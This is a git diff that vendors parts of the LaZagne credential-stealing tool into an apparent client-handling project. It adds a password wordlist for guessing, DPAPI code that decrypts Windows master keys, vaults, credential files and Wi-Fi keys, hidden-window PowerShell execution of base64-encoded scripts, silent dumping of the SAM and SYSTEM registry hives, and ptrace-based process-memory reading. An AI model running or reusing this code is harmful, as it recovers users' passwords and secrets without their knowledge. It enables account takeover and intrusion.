+ u"angels",
+ u"prince",
+ u"cameron",
+ u"girls",
+ u"madison",
+ u"wilson",
+ u"carlos",
+ u"hooters",
+ u"willie",
+ u"startrek",
+ u"captain",
+ u"maddog",
+ u"jasmine",
+ u"butter",
+ u"booger",
+ u"angela",
+ u"golf",
+ u"lauren",
+ u"rocket",
+ u"tiffany",
+ u"theman",
+ u"dennis",
+ u"liverpoo",
+ u"flower",
+ u"forever",
+ u"green",
+ u"jackie",
+ u"muffin",
+ u"turtle",
+ u"sophie",
+ u"danielle",
+ u"redskins",
+ u"toyota",
+ u"jason",
+ u"sierra",
+ u"winston",
+ u"debbie",
+ u"giants",
+ u"packers",
+ u"newyork",
+ u"jeremy",
+ u"casper",
+ u"bubba",
+ u"112233",
+ u"sandra",
+ u"lovers",
+ u"mountain",
+ u"united",
+ u"cooper",
+ u"driver",
+ u"tucker",
+ u"helpme",
+ u"fucking",
+ u"pookie",
+ u"lucky",
+ u"maxwell",
+ u"8675309",
+ u"bear",
+ u"suckit",
+ u"gators",
+ u"5150",
+ u"222222",
+ u"shithead",
+ u"fuckoff",
+ u"jaguar",
+ u"monica",
+ u"fred",
+ u"happy",
+ u"hotdog",
+ u"tits",
+ u"gemini",
+ u"lover",
+ u"xxxxxxxx",
+ u"777777",
+ u"canada",
+ u"nathan",
+ u"victor",
+ u"florida",
+ u"88888888",
+ u"nicholas",
+ u"rosebud",
+ u"metallic",
+ u"doctor",
+ u"trouble",
+ u"success",
+ u"stupid",
+ u"tomcat",
+ u"warrior",
+ u"peaches",
+ u"apples",
+ u"fish",
+ u"qwertyui",
+ u"magic",
+ u"buddy",
+ u"dolphins",
+ u"rainbow",
+ u"gunner",
+ u"987654",
+ u"freddy",
+ u"alexis",
+ u"braves",
+ u"cock",
+ u"2112",
+ u"1212",
+ u"cocacola",
+ u"xavier",
+ u"dolphin",
+ u"testing",
+ u"bond007",
+ u"member",
+ u"calvin",
+ u"voodoo",
+ u"7777",
+ u"samson",
+ u"alex",
+ u"apollo",
+ u"fire",
+ u"tester",
+ u"walter",
+ u"beavis",
+ u"voyager",
+ u"peter",
+ u"porno",
+ u"bonnie",
+ u"rush2112",
+ u"beer",
+ u"apple",
+ u"scorpio",
+ u"jonathan",
+ u"skippy",
+ u"sydney",
+ u"scott",
+ u"red123",
+ u"power",
+ u"gordon",
+ u"travis",
+ u"beaver",
+ u"star",
+ u"jackass",
+ u"flyers",
+ u"boobs",
+ u"232323",
+ u"zzzzzz",
+ u"steve",
+ u"rebecca",
+ u"scorpion",
+ u"doggie",
+ u"legend",
+ u"ou812",
+ u"yankee",
+ u"blazer",
+ u"bill",
+ u"runner",
+ u"birdie",
+ u"bitches",
+ u"555555",
+ u"parker",
+ u"topgun",
+ u"asdfasdf",
+ u"heaven",
+ u"viper",
+ u"animal",
+ u"2222",
+ u"bigboy",
+ u"4444",
+ u"arthur",
+ u"baby",
+ u"private",
+ u"godzilla",
+ u"donald",
+ u"williams",
+ u"lifehack",
+ u"phantom",
+ u"dave",
+ u"rock",
+ u"august",
+ u"sammy",
+ u"cool",
+ u"brian",
+ u"platinum",
+ u"jake",
+ u"bronco",
+ u"paul",
+ u"mark",
+ u"frank",
+ u"heka6w2",
+ u"copper",
+ u"billy",
+ u"cumshot",
+ u"garfield",
+ u"willow",
+ u"cunt",
+ u"little",
+ u"carter",
+ u"slut",
+ u"albert",
+ u"69696969",
+ u"kitten",
+ u"super",
+ u"jordan23",
+ u"eagle1",
+ u"shelby",
+ u"america",
+ u"11111",
+ u"jessie",
+ u"house",
+ u"free",
+ u"123321",
+ u"chevy",
+ u"bullshit",
+ u"white",
+ u"broncos",
+ u"horney",
+ u"surfer",
+ u"nissan",
+ u"999999",
+ u"saturn",
+ u"airborne",
+ u"elephant",
+ u"marvin",
+ u"shit",
+ u"action",
+ u"adidas",
+ u"qwert",
+ u"kevin",
+ u"1313",
+ u"explorer",
+ u"walker",
+ u"police",
+ u"christin",
+ u"december",
+ u"benjamin",
+ u"wolf",
+ u"sweet",
+ u"therock",
+ u"king",
+ u"online",
+ u"dickhead",
+ u"brooklyn",
+ u"teresa",
+ u"cricket",
+ u"sharon",
+ u"dexter",
+ u"racing",
+ u"penis",
+ u"gregory",
+ u"0000",
+ u"teens",
+ u"redwings",
+ u"dreams",
+ u"michigan",
+ u"hentai",
+ u"magnum",
+ u"87654321",
+ u"nothing",
+ u"donkey",
+ u"trinity",
+ u"digital",
+ u"333333",
+ u"stella",
+ u"cartman",
+ u"guinness",
+ u"123abc",
+ u"speedy",
+ u"buffalo",
+ u"kitty"]
diff --git a/foreign/client_handling/lazagne/config/dpapi_structure.py b/foreign/client_handling/lazagne/config/dpapi_structure.py
new file mode 100644
index 0000000..7d6080b
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/dpapi_structure.py
@@ -0,0 +1,186 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+import codecs
+import os
+
+from foreign.client_handling.lazagne.config.DPAPI.masterkey import MasterKeyPool
+from foreign.client_handling.lazagne.config.DPAPI.credfile import CredFile
+from foreign.client_handling.lazagne.config.DPAPI.vault import Vault
+from foreign.client_handling.lazagne.config.DPAPI.blob import DPAPIBlob
+from foreign.client_handling.lazagne.config.write_output import print_debug
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.softwares.windows.lsa_secrets import LSASecrets
+
+
+def are_masterkeys_retrieved():
+ """
+ Before running modules using DPAPI, we have to retrieve masterkeys
+ otherwise, we do not realize these checks
+ """
+ current_user = constant.username
+ if constant.pypykatz_result.get(current_user, None):
+ password = constant.pypykatz_result[current_user].get('Password', None)
+ pwdhash = constant.pypykatz_result[current_user].get('Shahash', None)
+
+ # Create one DPAPI object by user
+ constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash)
+
+ if not constant.user_dpapi or not constant.user_dpapi.unlocked:
+ # constant.user_password represents the password entered manually by the user
+ constant.user_dpapi = UserDpapi(password=constant.user_password)
+
+ # Add username to check username equals passwords
+ constant.user_dpapi.check_credentials([constant.username] + constant.password_found)
+
+ # Return True if at least one masterkey has been decrypted
+ return constant.user_dpapi.unlocked
+
+
+def manage_response(ok, msg):
+ if ok:
+ return msg
+ else:
+ print_debug('DEBUG', u'{msg}'.format(msg=msg))
+ return False
+
+
+class UserDpapi(object):
+ """
+ User class for DPAPI functions
+ """
+
+ def __init__(self, password=None, pwdhash=None):
+ self.sid = None
+ self.umkp = None
+ self.unlocked = False
+
+ protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect')
+ credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST')
+
+ if os.path.exists(protect_folder):
+ for folder in os.listdir(protect_folder):
+ if folder.startswith('S-'):
+ self.sid = folder
+ break
+
+ if self.sid:
+ masterkeydir = os.path.join(protect_folder, self.sid)
+ if os.path.exists(masterkeydir):
+ self.umkp = MasterKeyPool()
+ self.umkp.load_directory(masterkeydir)
+ self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file)
+
+ if password:
+ for ok, r in self.umkp.try_credential(sid=self.sid, password=password):
+ if ok:
+ self.unlocked = True
+ print_debug('OK', r)
+ else:
+ print_debug('ERROR', r)
+
+ elif pwdhash:
+ for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')):
+ if ok:
+ self.unlocked = True
+ print_debug('OK', r)
+ else:
+ print_debug('ERROR', r)
+
+ def check_credentials(self, passwords):
+ if self.umkp:
+ for password in passwords:
+ for ok, r in self.umkp.try_credential(sid=self.sid, password=password):
+ if ok:
+ self.unlocked = True
+ print_debug('OK', r)
+ else:
+ print_debug('ERROR', r)
+
+ def decrypt_blob(self, dpapi_blob):
+ """
+ Decrypt DPAPI Blob
+ """
+ if self.umkp:
+ blob = DPAPIBlob(dpapi_blob)
+ ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp)
+ return manage_response(ok, msg)
+
+ def decrypt_cred(self, credfile):
+ """
+ Decrypt Credential Files
+ """
+ if self.umkp:
+ with open(credfile, 'rb') as f:
+ c = CredFile(f.read())
+ ok, msg = c.decrypt(self.umkp, credfile)
+ return manage_response(ok, msg)
+
+ def decrypt_vault(self, vaults_dir):
+ """
+ Decrypt Vault Files
+ """
+ if self.umkp:
+ v = Vault(vaults_dir=vaults_dir)
+ ok, msg = v.decrypt(mkp=self.umkp)
+ return manage_response(ok, msg)
+
+ def decrypt_encrypted_blob(self, ciphered, entropy_hex=False):
+ """
+ Decrypt encrypted blob
+ """
+ if self.umkp:
+ blob = DPAPIBlob(ciphered)
+ ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex)
+ return manage_response(ok, msg)
+
+ def get_dpapi_hash(self, context='local'):
+ """
+ Retrieve DPAPI hash to bruteforce it using john or hashcat.
+ """
+ if self.umkp:
+ return self.umkp.get_dpapi_hash(sid=self.sid, context=context)
+
+ def get_cleartext_password(self):
+ """
+ Retrieve cleartext password associated to the preferred user maskterkey.
+ This password should represent the windows user password.
+ """
+ if self.umkp:
+ return self.umkp.get_cleartext_password()
+
+
+class SystemDpapi(object):
+ """
+ System class for DPAPI functions
+ Need to have high privilege
+ """
+
+ def __init__(self):
+ self.smkp = None
+ self.unlocked = False
+
+ if not constant.lsa_secrets:
+ # Retrieve LSA secrets
+ LSASecrets().run()
+
+ if constant.lsa_secrets:
+ masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User'
+ if os.path.exists(masterkeydir):
+ self.smkp = MasterKeyPool()
+ self.smkp.load_directory(masterkeydir)
+ self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM'])
+ for ok, r in self.smkp.try_system_credential():
+ if ok:
+ print_debug('OK', r)
+ self.unlocked = True
+ else:
+ print_debug('ERROR', r)
+
+ def decrypt_wifi_blob(self, key_material):
+ """
+ Decrypt wifi password
+ """
+ if self.smkp:
+ blob = DPAPIBlob(key_material.decode('hex'))
+ ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp)
+ return manage_response(ok, msg)
diff --git a/foreign/client_handling/lazagne/config/execute_cmd.py b/foreign/client_handling/lazagne/config/execute_cmd.py
new file mode 100644
index 0000000..0faecd9
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/execute_cmd.py
@@ -0,0 +1,100 @@
+# -*- coding: utf-8 -*-
+# !/usr/bin/python
+import base64
+import os
+import subprocess
+import re
+
+from foreign.client_handling.lazagne.config.write_output import print_debug
+from foreign.client_handling.lazagne.config.constant import constant
+
+try:
+ import _subprocess as sub
+ STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3
+ SW_HIDE = sub.SW_HIDE
+except ImportError:
+ STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
+ SW_HIDE = subprocess.SW_HIDE
+
+
+def powershell_execute(script, func):
+ """
+ Execute a powershell script
+ """
+ output = ""
+ try:
+ script = re.sub("Write-Verbose ", "Write-Output ", script, flags=re.I)
+ script = re.sub("Write-Error ", "Write-Output ", script, flags=re.I)
+ script = re.sub("Write-Warning ", "Write-Output ", script, flags=re.I)
+
+ full_args = ["powershell.exe", "-NoProfile", "-NoLogo", "-C", "-"]
+
+ info = subprocess.STARTUPINFO()
+ info.dwFlags = STARTF_USESHOWWINDOW
+ info.wShowWindow = SW_HIDE
+
+ p = subprocess.Popen(full_args, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,
+ stdout=subprocess.PIPE, universal_newlines=True, shell=True)
+ p.stdin.write("$base64=\"\"" + "\n")
+
+ n = 25000
+ b64_script = base64.b64encode(script)
+ tab = [b64_script[i:i + n] for i in range(0, len(b64_script), n)]
+ for t in tab:
+ p.stdin.write("$base64+=\"%s\"\n" % t)
+ p.stdin.flush()
+
+ p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
+ p.stdin.write("Invoke-Expression $d\n")
+
+ p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % func)
+ p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
+ p.stdin.write("Write-Host \"[BEGIN]\"\n")
+ p.stdin.write("Write-Host $b\n")
+
+ # begin flag used to remove possible bullshit output print before the func is launched
+ if '[BEGIN]' in p.stdout.readline():
+ # Get the result in base64
+ for i in p.stdout.readline():
+ output += i
+ output = base64.b64decode(output)
+ except Exception:
+ pass
+
+ return output
+
+
+def save_hives():
+ """
+ Save SAM Hives
+ """
+ for h in constant.hives:
+ if not os.path.exists(constant.hives[h]):
+ try:
+ cmdline = 'reg.exe save hklm\%s %s' % (h, constant.hives[h])
+ command = ['cmd.exe', '/c', cmdline]
+ info = subprocess.STARTUPINFO()
+ info.dwFlags = STARTF_USESHOWWINDOW
+ info.wShowWindow = SW_HIDE
+ p = subprocess.Popen(command, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT,
+ stdout=subprocess.PIPE, universal_newlines=True)
+ results, _ = p.communicate()
+ except Exception as e:
+ print_debug('ERROR', u'Failed to save system hives: {error}'.format(error=e))
+ return False
+ return True
+
+
+def delete_hives():
+ """
+ Delete SAM Hives
+ """
+ # Try to remove all temporary files
+ for h in constant.hives:
+ if os.path.exists(constant.hives[h]):
+ try:
+ os.remove(constant.hives[h])
+ print_debug('DEBUG', u'Temp {hive} removed: {filename}'.format(hive=h, filename=constant.hives[h]))
+ except Exception:
+ print_debug('DEBUG', u'Temp {hive} failed to removed: {filename}'.format(hive=h, filename=constant.hives[h]))
+
diff --git a/foreign/client_handling/lazagne/config/lib/__init__.py b/foreign/client_handling/lazagne/config/lib/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/__init__.py
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/Address.py b/foreign/client_handling/lazagne/config/lib/memorpy/Address.py
new file mode 100644
index 0000000..c85ea6f
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/Address.py
@@ -0,0 +1,111 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+from .utils import *
+
+class AddressException(Exception):
+ pass
+
+
+class Address(object):
+ """ this class is used to have better representation of memory addresses """
+
+ def __init__(self, value, process, default_type = 'uint'):
+ self.value = int(value)
+ self.process = process
+ self.default_type = default_type
+ self.symbolic_name = None
+
+ def read(self, type = None, maxlen = None, errors='raise'):
+ if maxlen is None:
+ try:
+ int(type)
+ maxlen = int(type)
+ type = None
+ except:
+ pass
+
+ if not type:
+ type = self.default_type
+ if not maxlen:
+ return self.process.read(self.value, type=type, errors=errors)
+ else:
+ return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors)
+
+ def write(self, data, type = None):
+ if not type:
+ type = self.default_type
+ return self.process.write(self.value, data, type=type)
+
+ def symbol(self):
+ return self.process.get_symbolic_name(self.value)
+
+ def get_instruction(self):
+ return self.process.get_instruction(self.value)
+
+ def dump(self, ftype = 'bytes', size = 512, before = 32):
+ buf = self.process.read_bytes(self.value - before, size)
+ print(hex_dump(buf, self.value - before, ftype=ftype))
+
+ def __nonzero__(self):
+ return self.value is not None and self.value != 0
+
+ def __add__(self, other):
+ return Address(self.value + int(other), self.process, self.default_type)
+
+ def __sub__(self, other):
+ return Address(self.value - int(other), self.process, self.default_type)
+
+ def __repr__(self):
+ if not self.symbolic_name:
+ self.symbolic_name = self.symbol()
+ return str('<Addr: %s' % self.symbolic_name + '>')
+
+ def __str__(self):
+ if not self.symbolic_name:
+ self.symbolic_name = self.symbol()
+ return str('<Addr: %s' % self.symbolic_name + ' : "%s" (%s)>' % (str(self.read()).encode('unicode_escape'), self.default_type))
+
+ def __int__(self):
+ return int(self.value)
+
+ def __hex__(self):
+ return hex(self.value)
+
+ def __get__(self, instance, owner):
+ return self.value
+
+ def __set__(self, instance, value):
+ self.value = int(value)
+
+ def __lt__(self, other):
+ return self.value < int(other)
+
+ def __le__(self, other):
+ return self.value <= int(other)
+
+ def __eq__(self, other):
+ return self.value == int(other)
+
+ def __ne__(self, other):
+ return self.value != int(other)
+
+ def __gt__(self, other):
+ return self.value > int(other)
+
+ def __ge__(self, other):
+ return self.value >= int(other)
+
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py
new file mode 100644
index 0000000..8766b54
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/BaseProcess.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+# -*- coding: UTF8 -*-
+
+import struct
+
+from .utils import *
+
+
+""" Base class for process not linked to any platform """
+
+class ProcessException(Exception):
+ pass
+
+class BaseProcess(object):
+
+ def __init__(self, *args, **kwargs):
+ """ Create and Open a process object from its pid or from its name """
+ self.h_process = None
+ self.pid = None
+ self.isProcessOpen = False
+ self.buffer = None
+ self.bufferlen = 0
+
+ def __del__(self):
+ self.close()
+
+ def close(self):
+ pass
+ def iter_region(self, *args, **kwargs):
+ raise NotImplementedError
+ def write_bytes(self, address, data):
+ raise NotImplementedError
+
+ def read_bytes(self, address, bytes = 4):
+ raise NotImplementedError
+
+ def get_symbolic_name(self, address):
+ return '0x%08X' % int(address)
+
+ def read(self, address, type = 'uint', maxlen = 50, errors='raise'):
+ if type == 's' or type == 'string':
+ s = self.read_bytes(int(address), bytes=maxlen)
+
+ try:
+ idx = s.index(b'\x00')
+ return s[:idx]
+ except:
+ if errors == 'ignore':
+ return s
+
+ raise ProcessException('string > maxlen')
+
+ else:
+ if type == 'bytes' or type == 'b':
+ return self.read_bytes(int(address), bytes=maxlen)
+ s, l = type_unpack(type)
+ return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0]
+
+ def write(self, address, data, type = 'uint'):
+ if type != 'bytes':
+ s, l = type_unpack(type)
+ return self.write_bytes(int(address), struct.pack(s, data))
+ else:
+ return self.write_bytes(int(address), data)
+
+
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py b/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py
new file mode 100644
index 0000000..6cde871
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/LinProcess.py
@@ -0,0 +1,296 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
+
+import copy
+import struct
+# import utils
+import platform
+import ctypes, re, sys
+from ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno
+import errno
+import os
+import signal
+from .BaseProcess import BaseProcess, ProcessException
+from .structures import *
+import logging
+
+logger = logging.getLogger('memorpy')
+
+libc=ctypes.CDLL("libc.so.6", use_errno=True)
+get_errno_loc = libc.__errno_location
+get_errno_loc.restype = POINTER(c_int)
+
+def errcheck(ret, func, args):
+ if ret == -1:
+ _errno = get_errno() or errno.EPERM
+ raise OSError(os.strerror(_errno))
+ return ret
+
+c_ptrace = libc.ptrace
+c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t
+c_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p]
+c_ptrace.restype = c_long
+mprotect = libc.mprotect
+mprotect.restype = c_int
+mprotect.argtypes = [c_void_p, c_size_t, c_int]
+LARGE_FILE_SUPPORT=False
+try:
+ c_off64_t=ctypes.c_longlong
+ lseek64 = libc.lseek64
+ lseek64.argtypes = [c_int, c_off64_t, c_int]
+ lseek64.errcheck=errcheck
+ open64 = libc.open64
+ open64.restype = c_int
+ open64.argtypes = [c_void_p, c_int]
+ open64.errcheck=errcheck
+ pread64=libc.pread64
+ pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t]
+ pread64.restype = c_ssize_t
+ pread64.errcheck=errcheck
+ c_close=libc.close
+ c_close.argtypes = [c_int]
+ c_close.restype = c_int
+ LARGE_FILE_SUPPORT=True
+except:
+ logger.warning("no Large File Support")
+
+class LinProcess(BaseProcess):
+ def __init__(self, pid=None, name=None, debug=True, ptrace=None):
+ """ Create and Open a process object from its pid or from its name """
+ super(LinProcess, self).__init__()
+ self.mem_file=None
+ self.ptrace_started=False
+ if pid is not None:
+ self.pid=pid
+ elif name is not None:
+ self.pid=LinProcess.pid_from_name(name)
+ else:
+ raise ValueError("You need to instanciate process with at least a name or a pid")
+ if ptrace is None:
+ if os.getuid()==0:
+ self.read_ptrace=False # no need to ptrace the process when root to read memory
+ else:
+ self.read_ptrace=True
+ self._open()
+
+ def check_ptrace_scope(self):
+ """ check ptrace scope and raise an exception if privileges are unsufficient
+
+ The sysctl settings (writable only with CAP_SYS_PTRACE) are:
+
+ 0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other
+ process running under the same uid, as long as it is dumpable (i.e.
+ did not transition uids, start privileged, or have called
+ prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is
+ unchanged.
+
+ 1 - restricted ptrace: a process must have a predefined relationship
+ with the inferior it wants to call PTRACE_ATTACH on. By default,
+ this relationship is that of only its descendants when the above
+ classic criteria is also met. To change the relationship, an
+ inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare
+ an allowed debugger PID to call PTRACE_ATTACH on the inferior.
+ Using PTRACE_TRACEME is unchanged.
+
+ 2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace
+ with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.
+
+ 3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via
+ PTRACE_TRACEME. Once set, this sysctl value cannot be changed.
+ """
+ try:
+ with open("/proc/sys/kernel/yama/ptrace_scope",'rb') as f:
+ ptrace_scope=int(f.read().strip())
+ if ptrace_scope==3:
+ logger.warning("yama/ptrace_scope == 3 (no attach). :/")
+ if os.getuid()==0:
+ return
+ elif ptrace_scope == 1:
+ logger.warning("yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root")
+ elif ptrace_scope == 2:
+ logger.warning("yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE")
+
+ except IOError:
+ pass
+
+ except Exception as e:
+ logger.warning("Error getting ptrace_scope ?? : %s"%e)
+
+ def close(self):
+ if self.mem_file:
+ if not LARGE_FILE_SUPPORT:
+ self.mem_file.close()
+ else:
+ c_close(self.mem_file)
+ self.mem_file=None
+ if self.ptrace_started:
+ self.ptrace_detach()
+
+ def __del__(self):
+ self.close()
+
+ def _open(self):
+ self.isProcessOpen = True
+ self.check_ptrace_scope()
+ if os.getuid()!=0:
+ #to raise an exception if ptrace is not allowed
+ self.ptrace_attach()
+ self.ptrace_detach()
+
+ #open file descriptor
+ if not LARGE_FILE_SUPPORT:
+ self.mem_file=open("/proc/" + str(self.pid) + "/mem", 'rb', 0)
+ else:
+ path=create_string_buffer(b"/proc/%d/mem" % self.pid)
+ self.mem_file=open64(byref(path), os.O_RDONLY)
+
+ @staticmethod
+ def list():
+ processes=[]
+ for pid in os.listdir("/proc"):
+ try:
+ exe=os.readlink("/proc/%s/exe"%pid)
+ processes.append({"pid":int(pid), "name":exe})
+ except:
+ pass
+ return processes
+
+ @staticmethod
+ def pid_from_name(name):
+ #quick and dirty, works with all linux not depending on ps output
+ for pid in os.listdir("/proc"):
+ try:
+ int(pid)
+ except:
+ continue
+ pname=""
+ with open("/proc/%s/cmdline"%pid,'r') as f:
+ pname=f.read()
+ if name in pname:
+ return int(pid)
+ raise ProcessException("No process with such name: %s"%name)
+
+ ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.
+ def _ptrace(self, attach):
+ op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH)
+ c_pid = c_pid_t(self.pid)
+ null = ctypes.c_void_p()
+
+ if not attach:
+ os.kill(self.pid, signal.SIGSTOP)
+ os.waitpid(self.pid, 0)
+
+ err = c_ptrace(op, c_pid, null, null)
+
+ if not attach:
+ os.kill(self.pid, signal.SIGCONT)
+
+ if err != 0:
+ raise OSError("%s: %s"%(
+ 'PTRACE_ATTACH' if attach else 'PTRACE_DETACH',
+ errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')
+ ))
+
+ def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None):
+ """
+ optimizations :
+ i for inode==0 (no file mapping)
+ s to avoid scanning shared regions
+ x to avoid scanning x regions
+ r don't scan ronly regions
+ """
+ with open("/proc/" + str(self.pid) + "/maps", 'r') as maps_file:
+ for line in maps_file:
+ m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\s+([-rwpsx]+)\s+([0-9A-Fa-f]+)\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\s+([0-9]+)\s*(.*)', line)
+ if not m:
+ continue
+ start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7)
+ if start_offset is not None:
+ if start < start_offset:
+ continue
+ if end_offset is not None:
+ if start > end_offset:
+ continue
+ chunk=end-start
+ if 'r' in region_protec: # TODO: handle protec parameter
+ if optimizations:
+ if 'i' in optimizations and inode != 0:
+ continue
+ if 's' in optimizations and 's' in region_protec:
+ continue
+ if 'x' in optimizations and 'x' in region_protec:
+ continue
+ if 'r' in optimizations and not 'w' in region_protec:
+ continue
+ yield start, chunk
+
+ def ptrace_attach(self):
+ if not self.ptrace_started:
+ res=self._ptrace(True)
+ self.ptrace_started=True
+ return res
+
+ def ptrace_detach(self):
+ if self.ptrace_started:
+ res=self._ptrace(False)
+ self.ptrace_started=False
+ return res
+
+ def write_bytes(self, address, data):
+ if not self.ptrace_started:
+ self.ptrace_attach()
+
+ c_pid = c_pid_t(self.pid)
+ null = ctypes.c_void_p()
+
+
+ #we can only copy data per range of 4 or 8 bytes
+ word_size=ctypes.sizeof(ctypes.c_void_p)
+ #mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ)
+ for i in range(0, len(data), word_size):
+ word=data[i:i+word_size]
+ if len(word)<word_size: #we need to let some data untouched, so let's read at given offset to complete our 8 bytes
+ existing_data=self.read_bytes(int(address)+i+len(word), bytes=(word_size-len(word)))
+ word+=existing_data
+ if sys.byteorder=="little":
+ word=word[::-1]
+
+ attempt=0
+ err = c_ptrace(ctypes.c_int(PTRACE_POKEDATA), c_pid, int(address)+i, int(word.encode("hex"), 16))
+ if err != 0:
+ error=errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN')
+ raise OSError("Error using PTRACE_POKEDATA: %s"%error)
+
+ self.ptrace_detach()
+ return True
+
+ def read_bytes(self, address, bytes = 4):
+ if self.read_ptrace:
+ self.ptrace_attach()
+ data=b''
+ if not LARGE_FILE_SUPPORT:
+ mem_file.seek(address)
+ data=mem_file.read(bytes)
+ else:
+ lseek64(self.mem_file, address, os.SEEK_SET)
+ data=b""
+ try:
+ data=os.read(self.mem_file, bytes)
+ except Exception as e:
+ logger.info("Error reading %s at %s: %s"%((bytes),address, e))
+ if self.read_ptrace:
+ self.ptrace_detach()
+ return data
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/LinStructures.py b/foreign/client_handling/lazagne/config/lib/memorpy/LinStructures.py
new file mode 100644
index 0000000..e1c6e60
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/LinStructures.py
@@ -0,0 +1,20 @@
+#!/usr/bin/env python
+# -*- coding: UTF8 -*-
+
+PROT_NONE = 0
+PROT_READ = 1
+PROT_WRITE = 2
+PROT_EXEC = 4
+PROT_PRIVATE = 8
+PROT_SHARED = 16
+
+#Use some Windows constants for compatibility
+PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE
+PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ
+PAGE_READONLY = PROT_READ
+PAGE_READWRITE = PROT_READ | PROT_WRITE
+
+PTRACE_POKEDATA = 5
+PTRACE_ATTACH = 16
+PTRACE_DETACH =17
+PTRACE_CONT = 7
diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/Locator.py b/foreign/client_handling/lazagne/config/lib/memorpy/Locator.py
new file mode 100644
index 0000000..0468db2
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/lib/memorpy/Locator.py
@@ -0,0 +1,96 @@
+# Author: Nicolas VERDIER
+# This file is part of memorpy.
+#
+# memorpy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# memorpy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
